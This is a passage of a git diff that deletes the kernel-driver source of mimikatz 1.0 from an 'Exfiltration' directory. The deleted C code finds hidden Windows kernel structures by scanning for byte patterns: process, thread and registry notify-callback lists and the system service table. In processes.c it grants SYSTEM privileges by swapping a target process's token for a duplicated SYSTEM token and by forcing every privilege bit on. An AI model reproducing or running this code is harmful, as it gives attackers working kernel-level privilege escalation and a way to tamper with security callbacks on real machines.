REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; - PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; - PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; - - LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; - LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; - LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; - LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); - LONG OFFS_WIN8_Count = - 0x18; - #elif defined _M_IX86 - UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; - LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; - UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; - LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; - UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; - LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); - - PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; - PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; - PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; - PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; - - LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; - LONG OFFS_WIN8_CountEx = - 0x20; - LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; - LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); - LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); - #endif - - PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; - LONG offsetToCountEx = 0, offsetToCount = 0; - - if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_8) - { - if(INDEX_OS < INDEX_VISTA) - { - pattern = PTRN_WNT5_Process; - taille = sizeof(PTRN_WNT5_Process); - offsetTo = OFFS_WNT5_Process; - offsetToCount = OFFS_WNT5_Count; - } - else - { - pattern = PTRN_WNO8_Process; - taille = sizeof(PTRN_WNO8_Process); - offsetTo = OFFS_WNO8_Process; - offsetToCountEx = OFFS_WNO8_CountEx; - offsetToCount = OFFS_WNO8_Count; - } - refDebut = REF_D_WNO8_Process; - refFin = REF_F_WNO8_Process; - } - else - { - pattern = PTRN_WIN8_Process; - taille = sizeof(PTRN_WIN8_Process); - offsetTo = OFFS_WIN8_Process; - refDebut = REF_D_WIN8_Process; - refFin = REF_F_WIN8_Process; - offsetToCountEx = OFFS_WIN8_CountEx; - offsetToCount = OFFS_WIN8_Count; - } - - retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); - if(NT_SUCCESS(retour)) - { - PspCreateProcessNotifyRoutine = (PVOID) (pointeur); - PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); - if(INDEX_OS >= INDEX_VISTA) - PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); - - if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) - retour = STATUS_SUCCESS; - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h deleted file mode 100644 index 27cbe3a2..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_process.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once -#include "notify.h" - -#define MAX_NT6_PspCreateProcessNotifyRoutine 64 -#define MAX_NT5_PspCreateProcessNotifyRoutine 8 - -ULONG * PspCreateProcessNotifyRoutineCount; -ULONG * PspCreateProcessNotifyRoutineExCount; -PVOID * PspCreateProcessNotifyRoutine; - -NTSTATUS getPspCreateProcessNotifyRoutine(); -NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c deleted file mode 100644 index 843cfba7..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_reg.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "notify_reg.h" - -ULONG * CmpCallBackCount = NULL; -PVOID * CmpCallBackVector = NULL; -PLIST_ENTRY CallbackListHead = NULL; - -NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - PLIST_ENTRY maListe; - PKIWI_REGISTRY6_CALLBACK monCallBack6; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); - if(NT_SUCCESS(status)) - { - status = getNotifyRegistryRoutine(); - if(NT_SUCCESS(status)) - { - if(INDEX_OS < INDEX_VISTA) - { - for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) - ); - } - } - } - } - } - else - { - for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) - { - monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); - } - } - } - } - } - } - return status; -} - -NTSTATUS getNotifyRegistryRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; - UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; - - UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; - LONG OFFS_WN60_Head = -9; - UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; - LONG OFFS_WALL_Head = -9; - #elif defined _M_IX86 - UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; - UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; - - UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; - LONG OFFS_WN60_Head = 12; - UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; - LONG OFFS_WN61_Head = -4; - UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; - LONG OFFS_WIN8_Head = -4; - #endif - PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; - PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; - - if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_VISTA) - { - retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); - if(NT_SUCCESS(retour)) - { - retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); - } - } - else - { - if(INDEX_OS < INDEX_7) - { - pattern = PTRN_WN60_Head; - taille = sizeof(PTRN_WN60_Head); - offsetTo= OFFS_WN60_Head; - } - else - { - #ifdef _M_X64 - pattern = PTRN_WALL_Head; - taille = sizeof(PTRN_WALL_Head); - offsetTo= OFFS_WALL_Head; - #elif defined _M_IX86 - if(INDEX_OS < INDEX_8) - { - pattern = PTRN_WN61_Head; - taille = sizeof(PTRN_WN61_Head); - offsetTo= OFFS_WN61_Head; - } - else - { - pattern = PTRN_WIN8_Head; - taille = sizeof(PTRN_WIN8_Head); - offsetTo= OFFS_WIN8_Head; - } - #endif - } - retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h deleted file mode 100644 index ce865683..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_reg.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once -#include "notify.h" - -ULONG * CmpCallBackCount; -PVOID * CmpCallBackVector; -PLIST_ENTRY CallbackListHead; - -typedef struct _KIWI_REGISTRY6_CALLBACK -{ - LARGE_INTEGER cookie; - PVOID context; - PVOID callback; - UNICODE_STRING altitude; -} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; - -NTSTATUS getNotifyRegistryRoutine(); -NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c deleted file mode 100644 index 41436b00..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_thread.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "notify_thread.h" - -ULONG * PspCreateThreadNotifyRoutineCount = NULL; -PVOID * PspCreateThreadNotifyRoutine = NULL; - -NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); - if(NT_SUCCESS(status)) - { - status = getPspCreateThreadNotifyRoutine(); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - } - return status; -} - -NTSTATUS getPspCreateThreadNotifyRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; - LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); - UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; - LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); - #elif defined _M_IX86 - UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; - LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); - UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; - LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); - #endif - LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; - LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; - - PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; - LONG offsetToCount = 0; - - if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_VISTA) - { - #ifdef _M_X64 - pattern = PTRN_WNT5_Thread; - taille = sizeof(PTRN_WNT5_Thread); - offsetTo = OFFS_WNT5_Thread; - #endif - offsetToCount = OFFS_WNT5_Count; - } - else - { - #ifdef _M_X64 - pattern = PTRN_WNT6_Thread; - taille = sizeof(PTRN_WNT6_Thread); - offsetTo = OFFS_WNT6_Thread; - #endif - offsetToCount = OFFS_WNT6_Count; - } - - #if defined _M_IX86 - if(INDEX_OS < INDEX_8) - { - pattern = PTRN_WNO8_Thread; - taille = sizeof(PTRN_WNO8_Thread); - offsetTo = OFFS_WNO8_Thread; - } - else - { - pattern = PTRN_WIN8_Thread; - taille = sizeof(PTRN_WIN8_Thread); - offsetTo = OFFS_WIN8_Thread; - } - #endif - - retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); - if(NT_SUCCESS(retour)) - { - PspCreateThreadNotifyRoutine = (PVOID) (pointeur); - PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); - - if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) - retour = STATUS_SUCCESS; - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h deleted file mode 100644 index 22499b7e..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_thread.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once -#include "notify.h" - -#define MAX_NT6_PspCreateThreadNotifyRoutine 64 -#define MAX_NT5_PspCreateThreadNotifyRoutine 8 - -ULONG * PspCreateThreadNotifyRoutineCount; -PVOID * PspCreateThreadNotifyRoutine; - -NTSTATUS getPspCreateThreadNotifyRoutine(); -NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c deleted file mode 100644 index 55e13abb..00000000 --- a/Exfiltration/mimikatz-1.0/driver/processes.c +++ /dev/null @@ -1,146 +0,0 @@ -#include "processes.h" - -const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = -{ - /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ -#ifdef _M_IX86 -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, -/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, -/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, -/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, -/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, -/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ -/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} -#else -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ -/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, -/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, -/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, -/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, -/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, -/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} -#endif -}; - -NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); -} - -NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); -} - -NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status = STATUS_NOT_SUPPORTED; - - if(INDEX_OS >= INDEX_VISTA) - status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); - - return status; -} - -NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) -{ - NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; - PEPROCESS monProcess = NULL; - PCHAR processName = NULL; - HANDLE processId = NULL; - - PACCESS_TOKEN monTokenAcess = NULL; - PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; - - HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; - PROCESS_ACCESS_TOKEN ProcessTokenInformation; - PULONG pFlags2 = NULL; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - - for( - monProcess = PsInitialSystemProcess; - NT_SUCCESS(status) && - (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; - monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) - ) - { - processName = PsGetProcessImageFileName(monProcess); - processId = PsGetProcessId(monProcess); - - if(action == ExchangeToken || action == FullPrivilegeNT6) - { - if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouv :) - PID %u\n", processName, processId - ); - if(action == ExchangeToken) - { - status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); - if(NT_SUCCESS(status2)) - { - status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); - if(NT_SUCCESS(status2)) - { - status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); - if(NT_SUCCESS(status2)) - { - status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); - if(NT_SUCCESS(status2)) - { - ProcessTokenInformation.Token = newSysTokenHandle; - ProcessTokenInformation.Thread = 0; - - if(INDEX_OS >= INDEX_VISTA) - { - pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); - *pFlags2 &= ~TOKEN_FROZEN_MASK; - } - - status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); - if(NT_SUCCESS(status2)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken chang :)\n"); - } - - if(INDEX_OS >= INDEX_VISTA) - { - *pFlags2 |= TOKEN_FROZEN_MASK; - } - - ZwClose(newSysTokenHandle); - } - ZwClose(sysProcessTokenHandle); - } - ZwClose(processHandle); - ZwClose(sysProcessHandle); - } - } - } - else - { - if(monTokenAcess = PsReferencePrimaryToken(monProcess)) - { - mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); - - mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; - mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; - mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; - mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; - mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; - - PsDereferencePrimaryToken(monTokenAcess); - } - } - } - } - else - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); - } - } - return status; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h deleted file mode 100644 index ae998256..00000000 --- a/Exfiltration/mimikatz-1.0/driver/processes.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once -#include -#include "k_types.h" - -#define INDEX_EPROCESS_NEXT 0 -#define INDEX_EPROCESS_FLAGS2 1 -#define INDEX_TOKEN_PRIVS 2 -#define MAX_EPROCESS_LEN 3 - -#define TOKEN_FROZEN_MASK 0x00008000 - -typedef struct _KIWI_NT6_PRIVILEGES -{ - UCHAR Present[8]; - UCHAR Enabled[8]; - UCHAR EnabledByDefault[8]; -} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; - -typedef enum _KIWI_EPROCESS_ACTION -{ - ListProcesses, - ExchangeToken, - FullPrivilegeNT6 -} KIWI_EPROCESS_ACTION; - -extern char* PsGetProcessImageFileName(PEPROCESS monProcess); -extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); - -NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c deleted file mode 100644 index 688dfb2f..00000000 --- a/Exfiltration/mimikatz-1.0/driver/ssdt.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "ssdt.h" - -#ifdef _M_X64 -PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; -#endif - -NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - USHORT idxFunction; - ULONG_PTR funcAddr; - - #ifdef _M_X64 - status = getKeServiceDescriptorTable(); - if(NT_SUCCESS(status)) - { - #endif - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); - for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) - { - #ifdef _M_IX86 - funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; - #else - funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; - if(INDEX_OS < INDEX_VISTA) - { - funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; - } - else - { - funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; - } - #endif - - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - #ifdef _M_X64 - } - #endif - return status; -} - -#ifdef _M_X64 -NTSTATUS getKeServiceDescriptorTable() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - - UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; - LONG OFFS_WNO8_Ke = -19; - LONG OFFS_WIN8_Ke = -16; - - PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; - UNICODE_STRING maRoutine; - PUCHAR baseSearch = NULL; - - if(KeServiceDescriptorTable) - { - retour = STATUS_SUCCESS; - } - else - { - RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); - if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) - { - refDebut= baseSearch - 21*PAGE_SIZE; - refFin = baseSearch + 16*PAGE_SIZE; - offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; - - retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); - } - } - return retour; -} -#endif \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h deleted file mode 100644 index 33ab9afb..00000000 --- a/Exfiltration/mimikatz-1.0/driver/ssdt.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include "k_types.h" -#include "mod_memory.h" -#include "modules.h" - -NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -#ifdef _M_IX86 - extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; -#else - PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; - NTSTATUS getKeServiceDescriptorTable(); -#endif diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog deleted file mode 100644 index 574462d6..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog deleted file mode 100644 index 1393f520..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog deleted file mode 100644 index 